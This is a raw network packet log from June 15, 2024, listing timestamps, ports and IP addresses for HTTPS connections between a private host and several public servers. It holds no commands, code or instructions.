Jun 15, 2024 11:15:03.957462072 CEST	443	49843	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.957473993 CEST	443	49843	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.957515001 CEST	443	49843	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.957535982 CEST	49843	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.957551003 CEST	443	49843	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.957580090 CEST	49843	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.957595110 CEST	49843	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.958704948 CEST	443	49843	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.958739042 CEST	443	49843	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.958770037 CEST	49843	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.958775997 CEST	443	49843	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.958798885 CEST	49843	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.958817005 CEST	49843	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.960705996 CEST	443	49843	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.960741043 CEST	443	49843	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.960764885 CEST	49843	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.960769892 CEST	443	49843	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.960791111 CEST	443	49843	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.960807085 CEST	49843	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.960834980 CEST	49843	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.960931063 CEST	49843	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.960947037 CEST	443	49843	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.964807987 CEST	49851	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.964828968 CEST	443	49851	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.964922905 CEST	49851	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.965647936 CEST	49851	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.965666056 CEST	443	49851	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:04.060178041 CEST	49678	443	192.168.2.16	20.189.173.10
Jun 15, 2024 11:15:04.090569019 CEST	443	49792	162.19.138.116	192.168.2.16
Jun 15, 2024 11:15:04.090857983 CEST	443	49792	162.19.138.116	192.168.2.16
Jun 15, 2024 11:15:04.091048002 CEST	49792	443	192.168.2.16	162.19.138.116
Jun 15, 2024 11:15:04.100054026 CEST	49792	443	192.168.2.16	162.19.138.116
Jun 15, 2024 11:15:04.100106955 CEST	443	49792	162.19.138.116	192.168.2.16
Jun 15, 2024 11:15:04.107937098 CEST	49852	443	192.168.2.16	162.19.138.116
Jun 15, 2024 11:15:04.108009100 CEST	443	49852	162.19.138.116	192.168.2.16
Jun 15, 2024 11:15:04.108077049 CEST	49852	443	192.168.2.16	162.19.138.116
Jun 15, 2024 11:15:04.111407995 CEST	49852	443	192.168.2.16	162.19.138.116
Jun 15, 2024 11:15:04.111455917 CEST	443	49852	162.19.138.116	192.168.2.16
Jun 15, 2024 11:15:04.124154091 CEST	443	49838	157.90.33.121	192.168.2.16
Jun 15, 2024 11:15:04.124207020 CEST	443	49838	157.90.33.121	192.168.2.16
Jun 15, 2024 11:15:04.124248028 CEST	443	49838	157.90.33.121	192.168.2.16
Jun 15, 2024 11:15:04.124272108 CEST	49838	443	192.168.2.16	157.90.33.121
Jun 15, 2024 11:15:04.124310017 CEST	443	49838	157.90.33.121	192.168.2.16
Jun 15, 2024 11:15:04.124326944 CEST	49838	443	192.168.2.16	157.90.33.121
Jun 15, 2024 11:15:04.124355078 CEST	49838	443	192.168.2.16	157.90.33.121
Jun 15, 2024 11:15:04.126434088 CEST	443	49838	157.90.33.121	192.168.2.16
Jun 15, 2024 11:15:04.126487017 CEST	443	49838	157.90.33.121	192.168.2.16
Jun 15, 2024 11:15:04.126503944 CEST	49838	443	192.168.2.16	157.90.33.121
Jun 15, 2024 11:15:04.126514912 CEST	443	49838	157.90.33.121	192.168.2.16
Jun 15, 2024 11:15:04.126538992 CEST	49838	443	192.168.2.16	157.90.33.121
Jun 15, 2024 11:15:04.171968937 CEST	49838	443	192.168.2.16	157.90.33.121
Jun 15, 2024 11:15:04.240803957 CEST	443	49838	157.90.33.121	192.168.2.16
Jun 15, 2024 11:15:04.240861893 CEST	443	49838	157.90.33.121	192.168.2.16
Jun 15, 2024 11:15:04.240886927 CEST	49838	443	192.168.2.16	157.90.33.121
Jun 15, 2024 11:15:04.240900040 CEST	443	49838	157.90.33.121	192.168.2.16
Jun 15, 2024 11:15:04.240941048 CEST	49838	443	192.168.2.16	157.90.33.121
Jun 15, 2024 11:15:04.240955114 CEST	49838	443	192.168.2.16	157.90.33.121
Jun 15, 2024 11:15:04.242007017 CEST	443	49838	157.90.33.121	192.168.2.16
Jun 15, 2024 11:15:04.242070913 CEST	49838	443	192.168.2.16	157.90.33.121
Jun 15, 2024 11:15:04.242078066 CEST	443	49838	157.90.33.121	192.168.2.16
Jun 15, 2024 11:15:04.242136955 CEST	443	49838	157.90.33.121	192.168.2.16
Jun 15, 2024 11:15:04.242187023 CEST	49838	443	192.168.2.16	157.90.33.121
Jun 15, 2024 11:15:04.242260933 CEST	49838	443	192.168.2.16	157.90.33.121
Jun 15, 2024 11:15:04.242278099 CEST	443	49838	157.90.33.121	192.168.2.16
Jun 15, 2024 11:15:04.242295980 CEST	49838	443	192.168.2.16	157.90.33.121
Jun 15, 2024 11:15:04.242330074 CEST	49838	443	192.168.2.16	157.90.33.121
Jun 15, 2024 11:15:04.245945930 CEST	49853	443	192.168.2.16	157.90.33.121
Jun 15, 2024 11:15:04.245980978 CEST	443	49853	157.90.33.121	192.168.2.16
Jun 15, 2024 11:15:04.246042967 CEST	49853	443	192.168.2.16	157.90.33.121
Jun 15, 2024 11:15:04.246481895 CEST	49853	443	192.168.2.16	157.90.33.121
Jun 15, 2024 11:15:04.246495962 CEST	443	49853	157.90.33.121	192.168.2.16
Jun 15, 2024 11:15:04.272588968 CEST	49854	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:04.272639990 CEST	443	49854	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:04.272764921 CEST	49854	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:04.273056030 CEST	49854	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:04.273075104 CEST	443	49854	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:04.285784006 CEST	49855	443	192.168.2.16	157.90.33.72
Jun 15, 2024 11:15:04.285866022 CEST	443	49855	157.90.33.72	192.168.2.16
Jun 15, 2024 11:15:04.285962105 CEST	49855	443	192.168.2.16	157.90.33.72
Jun 15, 2024 11:15:04.286135912 CEST	49855	443	192.168.2.16	157.90.33.72
Jun 15, 2024 11:15:04.286173105 CEST	443	49855	157.90.33.72	192.168.2.16
Jun 15, 2024 11:15:04.625946045 CEST	443	49851	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:04.626189947 CEST	49851	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:04.626228094 CEST	443	49851	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:04.626586914 CEST	443	49851	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:04.626868010 CEST	49851	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:04.626935005 CEST	443	49851	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:04.626996040 CEST	49851	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:04.668308973 CEST	443	49847	99.81.158.184	192.168.2.16
Jun 15, 2024 11:15:04.668561935 CEST	49847	443	192.168.2.16	99.81.158.184
Jun 15, 2024 11:15:04.668574095 CEST	443	49847	99.81.158.184	192.168.2.16
Jun 15, 2024 11:15:04.672337055 CEST	443	49847	99.81.158.184	192.168.2.16
Jun 15, 2024 11:15:04.672420979 CEST	49847	443	192.168.2.16	99.81.158.184
Jun 15, 2024 11:15:04.672502995 CEST	443	49851	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:04.672862053 CEST	49847	443	192.168.2.16	99.81.158.184
Jun 15, 2024 11:15:04.672862053 CEST	49847	443	192.168.2.16	99.81.158.184
Jun 15, 2024 11:15:04.672878027 CEST	443	49847	99.81.158.184	192.168.2.16
Jun 15, 2024 11:15:04.672974110 CEST	443	49847	99.81.158.184	192.168.2.16
Jun 15, 2024 11:15:04.677805901 CEST	443	49849	162.19.138.117	192.168.2.16
Jun 15, 2024 11:15:04.677995920 CEST	49849	443	192.168.2.16	162.19.138.117
Jun 15, 2024 11:15:04.678020954 CEST	443	49849	162.19.138.117	192.168.2.16
Jun 15, 2024 11:15:04.678481102 CEST	443	49849	162.19.138.117	192.168.2.16
Jun 15, 2024 11:15:04.678730965 CEST	49849	443	192.168.2.16	162.19.138.117
Jun 15, 2024 11:15:04.678807020 CEST	443	49849	162.19.138.117	192.168.2.16
Jun 15, 2024 11:15:04.678816080 CEST	49849	443	192.168.2.16	162.19.138.117
Jun 15, 2024 11:15:04.679827929 CEST	443	49848	185.89.210.212	192.168.2.16
Jun 15, 2024 11:15:04.680073977 CEST	49848	443	192.168.2.16	185.89.210.212
Jun 15, 2024 11:15:04.680102110 CEST	443	49848	185.89.210.212	192.168.2.16
Jun 15, 2024 11:15:04.680433035 CEST	443	49848	185.89.210.212	192.168.2.16
Jun 15, 2024 11:15:04.680680990 CEST	49848	443	192.168.2.16	185.89.210.212
Jun 15, 2024 11:15:04.680757999 CEST	443	49848	185.89.210.212	192.168.2.16
Jun 15, 2024 11:15:04.680932999 CEST	49848	443	192.168.2.16	185.89.210.212
Jun 15, 2024 11:15:04.680953979 CEST	49851	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:04.707710028 CEST	443	49846	88.212.201.198	192.168.2.16
Jun 15, 2024 11:15:04.707911015 CEST	49846	443	192.168.2.16	88.212.201.198
Jun 15, 2024 11:15:04.707932949 CEST	443	49846	88.212.201.198	192.168.2.16
Jun 15, 2024 11:15:04.708408117 CEST	443	49846	88.212.201.198	192.168.2.16
Jun 15, 2024 11:15:04.708651066 CEST	49846	443	192.168.2.16	88.212.201.198
Jun 15, 2024 11:15:04.708735943 CEST	443	49846	88.212.201.198	192.168.2.16
Jun 15, 2024 11:15:04.708749056 CEST	49846	443	192.168.2.16	88.212.201.198
Jun 15, 2024 11:15:04.720519066 CEST	443	49849	162.19.138.117	192.168.2.16
Jun 15, 2024 11:15:04.727931976 CEST	49847	443	192.168.2.16	99.81.158.184
Jun 15, 2024 11:15:04.727938890 CEST	49849	443	192.168.2.16	162.19.138.117
Jun 15, 2024 11:15:04.727973938 CEST	443	49847	99.81.158.184	192.168.2.16
Jun 15, 2024 11:15:04.728060961 CEST	49848	443	192.168.2.16	185.89.210.212
Jun 15, 2024 11:15:04.728128910 CEST	443	49848	185.89.210.212	192.168.2.16
Jun 15, 2024 11:15:04.737457037 CEST	443	49845	46.243.182.89	192.168.2.16
Jun 15, 2024 11:15:04.737654924 CEST	49845	443	192.168.2.16	46.243.182.89
Jun 15, 2024 11:15:04.737673998 CEST	443	49845	46.243.182.89	192.168.2.16
Jun 15, 2024 11:15:04.738693953 CEST	443	49845	46.243.182.89	192.168.2.16
Jun 15, 2024 11:15:04.738763094 CEST	49845	443	192.168.2.16	46.243.182.89
Jun 15, 2024 11:15:04.739029884 CEST	49845	443	192.168.2.16	46.243.182.89
Jun 15, 2024 11:15:04.739083052 CEST	443	49845	46.243.182.89	192.168.2.16
Jun 15, 2024 11:15:04.739137888 CEST	49845	443	192.168.2.16	46.243.182.89
Jun 15, 2024 11:15:04.752506971 CEST	443	49846	88.212.201.198	192.168.2.16
Jun 15, 2024 11:15:04.759947062 CEST	49846	443	192.168.2.16	88.212.201.198
Jun 15, 2024 11:15:04.771646023 CEST	443	49850	91.228.74.159	192.168.2.16
Jun 15, 2024 11:15:04.771877050 CEST	49850	443	192.168.2.16	91.228.74.159
Jun 15, 2024 11:15:04.771924973 CEST	443	49850	91.228.74.159	192.168.2.16
Jun 15, 2024 11:15:04.772269011 CEST	443	49850	91.228.74.159	192.168.2.16
Jun 15, 2024 11:15:04.772608995 CEST	49850	443	192.168.2.16	91.228.74.159
Jun 15, 2024 11:15:04.772684097 CEST	443	49850	91.228.74.159	192.168.2.16
Jun 15, 2024 11:15:04.773293972 CEST	49850	443	192.168.2.16	91.228.74.159
Jun 15, 2024 11:15:04.775957108 CEST	49847	443	192.168.2.16	99.81.158.184
Jun 15, 2024 11:15:04.784542084 CEST	443	49845	46.243.182.89	192.168.2.16
Jun 15, 2024 11:15:04.786890030 CEST	443	49735	142.250.186.100	192.168.2.16
Jun 15, 2024 11:15:04.787045956 CEST	443	49735	142.250.186.100	192.168.2.16
Jun 15, 2024 11:15:04.787123919 CEST	49735	443	192.168.2.16	142.250.186.100
Jun 15, 2024 11:15:04.791943073 CEST	49845	443	192.168.2.16	46.243.182.89
Jun 15, 2024 11:15:04.791964054 CEST	443	49845	46.243.182.89	192.168.2.16
Jun 15, 2024 11:15:04.793870926 CEST	443	49851	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:04.820512056 CEST	443	49850	91.228.74.159	192.168.2.16
Jun 15, 2024 11:15:04.839956999 CEST	49845	443	192.168.2.16	46.243.182.89
Jun 15, 2024 11:15:04.839971066 CEST	49851	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:04.840006113 CEST	443	49851	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:04.878082991 CEST	49735	443	192.168.2.16	142.250.186.100
Jun 15, 2024 11:15:04.878134966 CEST	443	49735	142.250.186.100	192.168.2.16
Jun 15, 2024 11:15:04.887967110 CEST	49851	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:04.908255100 CEST	443	49851	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:04.908267975 CEST	443	49851	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:04.908323050 CEST	443	49851	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:04.908353090 CEST	443	49851	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:04.908365011 CEST	49851	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:04.908382893 CEST	443	49851	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:04.908401012 CEST	49851	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:04.908401012 CEST	49851	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:04.908411026 CEST	443	49851	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:04.908427954 CEST	49851	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:04.908453941 CEST	49851	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:04.911612988 CEST	443	49851	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:04.911622047 CEST	443	49851	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:04.911655903 CEST	443	49851	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:04.911669016 CEST	443	49851	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:04.911685944 CEST	49851	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:04.911695957 CEST	443	49851	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:04.911712885 CEST	49851	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:04.911729097 CEST	49851	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:04.918323994 CEST	443	49847	99.81.158.184	192.168.2.16
Jun 15, 2024 11:15:04.921859980 CEST	443	49849	162.19.138.117	192.168.2.16
Jun 15, 2024 11:15:04.922162056 CEST	443	49849	162.19.138.117	192.168.2.16
Jun 15, 2024 11:15:04.922234058 CEST	49849	443	192.168.2.16	162.19.138.117
Jun 15, 2024 11:15:04.922463894 CEST	49849	443	192.168.2.16	162.19.138.117
Jun 15, 2024 11:15:04.922480106 CEST	443	49849	162.19.138.117	192.168.2.16
Jun 15, 2024 11:15:04.924133062 CEST	49856	443	192.168.2.16	162.19.138.116
Jun 15, 2024 11:15:04.924227953 CEST	443	49856	162.19.138.116	192.168.2.16
Jun 15, 2024 11:15:04.924315929 CEST	49856	443	192.168.2.16	162.19.138.116
Jun 15, 2024 11:15:04.924547911 CEST	49856	443	192.168.2.16	162.19.138.116
Jun 15, 2024 11:15:04.924586058 CEST	443	49856	162.19.138.116	192.168.2.16
Jun 15, 2024 11:15:04.925007105 CEST	49857	443	192.168.2.16	141.95.33.120
Jun 15, 2024 11:15:04.925040007 CEST	443	49857	141.95.33.120	192.168.2.16
Jun 15, 2024 11:15:04.925132990 CEST	49857	443	192.168.2.16	141.95.33.120
Jun 15, 2024 11:15:04.925344944 CEST	49857	443	192.168.2.16	141.95.33.120
Jun 15, 2024 11:15:04.925362110 CEST	443	49857	141.95.33.120	192.168.2.16
Jun 15, 2024 11:15:04.939290047 CEST	443	49848	185.89.210.212	192.168.2.16
Jun 15, 2024 11:15:04.939368010 CEST	443	49848	185.89.210.212	192.168.2.16
Jun 15, 2024 11:15:04.939543009 CEST	49848	443	192.168.2.16	185.89.210.212
Jun 15, 2024 11:15:04.939877987 CEST	49848	443	192.168.2.16	185.89.210.212
Jun 15, 2024 11:15:04.939922094 CEST	443	49848	185.89.210.212	192.168.2.16
Jun 15, 2024 11:15:04.941204071 CEST	443	49854	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:04.941422939 CEST	49854	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:04.941458941 CEST	443	49854	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:04.942567110 CEST	443	49854	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:04.942861080 CEST	49854	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:04.942946911 CEST	443	49854	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:04.942965984 CEST	49854	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:04.945048094 CEST	443	49852	162.19.138.116	192.168.2.16
Jun 15, 2024 11:15:04.945250988 CEST	49852	443	192.168.2.16	162.19.138.116
Jun 15, 2024 11:15:04.945286036 CEST	443	49852	162.19.138.116	192.168.2.16
Jun 15, 2024 11:15:04.945580959 CEST	443	49852	162.19.138.116	192.168.2.16
Jun 15, 2024 11:15:04.945835114 CEST	49852	443	192.168.2.16	162.19.138.116
Jun 15, 2024 11:15:04.945897102 CEST	443	49852	162.19.138.116	192.168.2.16
Jun 15, 2024 11:15:04.945926905 CEST	49852	443	192.168.2.16	162.19.138.116
Jun 15, 2024 11:15:04.967927933 CEST	49847	443	192.168.2.16	99.81.158.184
Jun 15, 2024 11:15:04.967951059 CEST	443	49847	99.81.158.184	192.168.2.16
Jun 15, 2024 11:15:04.968130112 CEST	49847	443	192.168.2.16	99.81.158.184
Jun 15, 2024 11:15:04.968235970 CEST	443	49847	99.81.158.184	192.168.2.16
Jun 15, 2024 11:15:04.968305111 CEST	49847	443	192.168.2.16	99.81.158.184
Jun 15, 2024 11:15:04.970375061 CEST	49799	443	192.168.2.16	142.250.186.162
Jun 15, 2024 11:15:04.970427990 CEST	49796	443	192.168.2.16	35.244.159.8
Jun 15, 2024 11:15:04.970720053 CEST	49858	443	192.168.2.16	52.49.242.239
Jun 15, 2024 11:15:04.970788002 CEST	443	49858	52.49.242.239	192.168.2.16
Jun 15, 2024 11:15:04.970789909 CEST	49798	443	192.168.2.16	185.89.210.82
Jun 15, 2024 11:15:04.970845938 CEST	49797	443	192.168.2.16	185.64.191.210
Jun 15, 2024 11:15:04.970890045 CEST	49858	443	192.168.2.16	52.49.242.239
Jun 15, 2024 11:15:04.971132040 CEST	49858	443	192.168.2.16	52.49.242.239
Jun 15, 2024 11:15:04.971162081 CEST	443	49858	52.49.242.239	192.168.2.16
Jun 15, 2024 11:15:04.980416059 CEST	443	49846	88.212.201.198	192.168.2.16
Jun 15, 2024 11:15:04.980536938 CEST	443	49846	88.212.201.198	192.168.2.16
Jun 15, 2024 11:15:04.981307983 CEST	49846	443	192.168.2.16	88.212.201.198
Jun 15, 2024 11:15:04.981451035 CEST	49846	443	192.168.2.16	88.212.201.198
Jun 15, 2024 11:15:04.981471062 CEST	443	49846	88.212.201.198	192.168.2.16
Jun 15, 2024 11:15:04.983988047 CEST	49854	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:04.984019995 CEST	443	49854	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:04.992511034 CEST	443	49852	162.19.138.116	192.168.2.16
Jun 15, 2024 11:15:04.999955893 CEST	49852	443	192.168.2.16	162.19.138.116
Jun 15, 2024 11:15:05.016498089 CEST	443	49796	35.244.159.8	192.168.2.16
Jun 15, 2024 11:15:05.016503096 CEST	443	49798	185.89.210.82	192.168.2.16
Jun 15, 2024 11:15:05.016504049 CEST	443	49797	185.64.191.210	192.168.2.16
Jun 15, 2024 11:15:05.016510963 CEST	443	49799	142.250.186.162	192.168.2.16
Jun 15, 2024 11:15:05.020441055 CEST	443	49845	46.243.182.89	192.168.2.16
Jun 15, 2024 11:15:05.023272991 CEST	443	49851	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:05.023292065 CEST	443	49851	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:05.023354053 CEST	49851	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:05.023386955 CEST	443	49851	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:05.023608923 CEST	49851	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:05.025260925 CEST	443	49851	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:05.025274992 CEST	443	49851	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:05.025333881 CEST	49851	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:05.025341988 CEST	443	49851	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:05.025424004 CEST	443	49850	91.228.74.159	192.168.2.16
Jun 15, 2024 11:15:05.025470972 CEST	49851	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:05.025506973 CEST	443	49850	91.228.74.159	192.168.2.16
Jun 15, 2024 11:15:05.025563002 CEST	49850	443	192.168.2.16	91.228.74.159
Jun 15, 2024 11:15:05.025830984 CEST	49850	443	192.168.2.16	91.228.74.159
Jun 15, 2024 11:15:05.025861025 CEST	443	49850	91.228.74.159	192.168.2.16
Jun 15, 2024 11:15:05.026324034 CEST	443	49851	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:05.026391029 CEST	443	49851	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:05.026392937 CEST	49851	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:05.026485920 CEST	49851	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:05.026496887 CEST	443	49851	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:05.026513100 CEST	49851	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:05.026513100 CEST	49851	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:05.026619911 CEST	49851	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:05.061942101 CEST	49845	443	192.168.2.16	46.243.182.89
Jun 15, 2024 11:15:05.061969995 CEST	443	49845	46.243.182.89	192.168.2.16
Jun 15, 2024 11:15:05.062293053 CEST	49845	443	192.168.2.16	46.243.182.89
Jun 15, 2024 11:15:05.062381029 CEST	443	49845	46.243.182.89	192.168.2.16
Jun 15, 2024 11:15:05.062448025 CEST	49845	443	192.168.2.16	46.243.182.89
Jun 15, 2024 11:15:05.064995050 CEST	49859	443	192.168.2.16	78.140.242.74
Jun 15, 2024 11:15:05.065042019 CEST	443	49859	78.140.242.74	192.168.2.16
Jun 15, 2024 11:15:05.065268040 CEST	49859	443	192.168.2.16	78.140.242.74
Jun 15, 2024 11:15:05.065896988 CEST	49859	443	192.168.2.16	78.140.242.74
Jun 15, 2024 11:15:05.065912008 CEST	443	49859	78.140.242.74	192.168.2.16
Jun 15, 2024 11:15:05.102385044 CEST	443	49854	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:05.102441072 CEST	443	49854	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:05.102602959 CEST	443	49854	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:05.102662086 CEST	49854	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:05.103028059 CEST	49854	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:05.103048086 CEST	443	49854	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:05.105688095 CEST	49860	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:05.105736017 CEST	443	49860	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:05.105886936 CEST	49860	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:05.106216908 CEST	49860	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:05.106240988 CEST	443	49860	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:05.117659092 CEST	443	49796	35.244.159.8	192.168.2.16
Jun 15, 2024 11:15:05.118160009 CEST	49796	443	192.168.2.16	35.244.159.8
Jun 15, 2024 11:15:05.118274927 CEST	443	49796	35.244.159.8	192.168.2.16
Jun 15, 2024 11:15:05.118422985 CEST	49796	443	192.168.2.16	35.244.159.8
Jun 15, 2024 11:15:05.119770050 CEST	49861	443	192.168.2.16	35.244.159.8
Jun 15, 2024 11:15:05.119807005 CEST	443	49861	35.244.159.8	192.168.2.16
Jun 15, 2024 11:15:05.119869947 CEST	49861	443	192.168.2.16	35.244.159.8
Jun 15, 2024 11:15:05.120043039 CEST	49861	443	192.168.2.16	35.244.159.8
Jun 15, 2024 11:15:05.120057106 CEST	443	49861	35.244.159.8	192.168.2.16
Jun 15, 2024 11:15:05.191912889 CEST	443	49852	162.19.138.116	192.168.2.16
Jun 15, 2024 11:15:05.192060947 CEST	443	49852	162.19.138.116	192.168.2.16
Jun 15, 2024 11:15:05.192425013 CEST	49852	443	192.168.2.16	162.19.138.116
Jun 15, 2024 11:15:05.192687988 CEST	49852	443	192.168.2.16	162.19.138.116
Jun 15, 2024 11:15:05.192711115 CEST	443	49852	162.19.138.116	192.168.2.16
Jun 15, 2024 11:15:05.194276094 CEST	443	49797	185.64.191.210	192.168.2.16
Jun 15, 2024 11:15:05.195148945 CEST	49797	443	192.168.2.16	185.64.191.210
Jun 15, 2024 11:15:05.195168972 CEST	443	49797	185.64.191.210	192.168.2.16
Jun 15, 2024 11:15:05.195362091 CEST	443	49797	185.64.191.210	192.168.2.16
Jun 15, 2024 11:15:05.195421934 CEST	49797	443	192.168.2.16	185.64.191.210
Jun 15, 2024 11:15:05.195442915 CEST	49797	443	192.168.2.16	185.64.191.210
Jun 15, 2024 11:15:05.195714951 CEST	49862	443	192.168.2.16	185.64.191.210
Jun 15, 2024 11:15:05.195734024 CEST	443	49862	185.64.191.210	192.168.2.16
Jun 15, 2024 11:15:05.195801973 CEST	49862	443	192.168.2.16	185.64.191.210
Jun 15, 2024 11:15:05.196037054 CEST	49862	443	192.168.2.16	185.64.191.210
Jun 15, 2024 11:15:05.196049929 CEST	443	49862	185.64.191.210	192.168.2.16
Jun 15, 2024 11:15:05.218940973 CEST	443	49798	185.89.210.82	192.168.2.16
Jun 15, 2024 11:15:05.219008923 CEST	49798	443	192.168.2.16	185.89.210.82
Jun 15, 2024 11:15:05.219034910 CEST	443	49798	185.89.210.82	192.168.2.16
Jun 15, 2024 11:15:05.219052076 CEST	443	49798	185.89.210.82	192.168.2.16
Jun 15, 2024 11:15:05.219098091 CEST	49798	443	192.168.2.16	185.89.210.82
Jun 15, 2024 11:15:05.219840050 CEST	49798	443	192.168.2.16	185.89.210.82
Jun 15, 2024 11:15:05.219852924 CEST	443	49798	185.89.210.82	192.168.2.16
Jun 15, 2024 11:15:05.219860077 CEST	49798	443	192.168.2.16	185.89.210.82
Jun 15, 2024 11:15:05.219983101 CEST	49798	443	192.168.2.16	185.89.210.82
Jun 15, 2024 11:15:05.220402956 CEST	49863	443	192.168.2.16	185.89.210.82
Jun 15, 2024 11:15:05.220431089 CEST	443	49863	185.89.210.82	192.168.2.16
Jun 15, 2024 11:15:05.220628977 CEST	49863	443	192.168.2.16	185.89.210.82
Jun 15, 2024 11:15:05.220817089 CEST	49863	443	192.168.2.16	185.89.210.82
Jun 15, 2024 11:15:05.220834970 CEST	443	49863	185.89.210.82	192.168.2.16
Jun 15, 2024 11:15:05.221174002 CEST	443	49799	142.250.186.162	192.168.2.16
Jun 15, 2024 11:15:05.221585989 CEST	49799	443	192.168.2.16	142.250.186.162
Jun 15, 2024 11:15:05.221627951 CEST	443	49799	142.250.186.162	192.168.2.16
Jun 15, 2024 11:15:05.221693993 CEST	49799	443	192.168.2.16	142.250.186.162
Jun 15, 2024 11:15:05.222697020 CEST	49864	443	192.168.2.16	142.250.186.162
Jun 15, 2024 11:15:05.222738028 CEST	443	49864	142.250.186.162	192.168.2.16
Jun 15, 2024 11:15:05.222872019 CEST	49864	443	192.168.2.16	142.250.186.162
Jun 15, 2024 11:15:05.223043919 CEST	49864	443	192.168.2.16	142.250.186.162
Jun 15, 2024 11:15:05.223057032 CEST	443	49864	142.250.186.162	192.168.2.16
Jun 15, 2024 11:15:05.344877958 CEST	443	49853	157.90.33.121	192.168.2.16
